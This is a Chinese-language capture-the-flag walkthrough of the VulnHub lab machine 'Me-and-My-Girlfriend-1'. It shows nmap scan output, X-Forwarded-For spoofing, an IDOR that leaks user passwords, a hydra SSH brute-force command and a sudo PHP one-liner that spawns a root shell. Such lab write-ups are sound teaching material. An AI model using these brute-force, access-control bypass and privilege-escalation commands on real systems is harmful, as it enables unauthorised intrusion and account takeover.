Me-and-My-Girlfriend-1
靶机下载地址
https://download.vulnhub.com/meandmygirlfriend/Me-and-My-Girlfriend-1.ova
信息收集
# nmap -sn 192.168.1.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 16:52 CST
Nmap scan report for 192.168.1.1
Host is up (0.00096s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.65
Host is up (0.00022s latency).
MAC Address: 00:0C:29:D8:5E:1E (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:F8:00:71 (VMware)
Nmap scan report for 192.168.1.60
Host is up.判断出靶机的地址为192.168.1.65
# nmap -sT --min-rate 10000 -p- 192.168.1.65 -oN port.nmapStarting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 16:52 CST
Nmap scan report for 192.168.1.65
Host is up (0.00094s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:D8:5E:1E (VMware)端口信息收集，开放端口22 和 80端口，判断突破点为80端口上！
# nmap -sT -sC -sV -O -p80,22 192.168.1.65 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 16:59 CST
Nmap scan report for 192.168.1.65
Host is up (0.00057s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
| 2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
| 256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
|_ 256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:D8:5E:1E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
开放服务版本和操作系统相关信息的收集，得到22端口和80端口信息，Apache起的服务 2.4.7版本，操作系统是Ubuntu系统，运行在vm上！
# nmap -sT --script=vuln -p22,80 192.168.1.65 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 16:59 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.65
Host is up (0.00031s latency).PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
| /robots.txt: Robots file
| /config/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_ /misc/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
MAC Address: 00:0C:29:D8:5E:1E (VMware)
整个初步的漏洞脚本探测下来的结果是存在几个可疑的目录，其他的也就没什么能有价值的地方了！
渗透测试
尝试访问80端口上开启的web服务：
提示我们只能本地访问！因此通过伪造x-forwarded-for头进行欺骗！
查看源代码，发现确实是使用xff头！
回显的数据包中，提示我们?page=index！
利用插件：
发现上方的url有变化！
这里看到了page=index 就去测试了是否存在任意文件读取~ 发现读不到什么东西，同时也去测试了下user_id和page的sql注入，也没发现存在相关漏洞，就在一筹莫展的时候！又去创建了一个账号，两个账号用户名分别是admin和ceban 密码均为123456，登陆上来看了一下两个账号的user_id是不是顺序增加的整数 ，admin的user_id为12 但是ceban的userid是122，因此就尝试更改一下：
发现越权漏洞：
只需要修改一下用户id就能看到其他用户的账号和密码信息。
尝试登陆进来还是没找到其他的功能~ 这里我就开始遍历userid！于是收集到了多位用户名和密码信息。
由于存在ssh服务，那么就先用hydra进行爆破一下：
hydra -L username -P passwd ssh://192.168.1.65/
成功拿到了一个账号和密码！直接进行登录了！
ssh登录
ssh alice@192.168.1.65
成功登录！接下来就到了提权的阶段了！
提权
查看系统的版本信息：
uname -a
先来找找flag~
在隐藏文件中发现了my_secret隐藏文件，然后目录下面发现了flag！然后看了一下mynote文件：
说是存在一个bob用户，但是这里查看了/etc/passwd文件，并没有找到这个用户~ 尝试提权把：
利用sudo -l列出当前用户能以root权限执行的命令：
可以利用root权限执行php！那就直接利用php起一个bash就好了：
sudo /usr/bin/php -r 'system("/bin/bash");'
提权成功~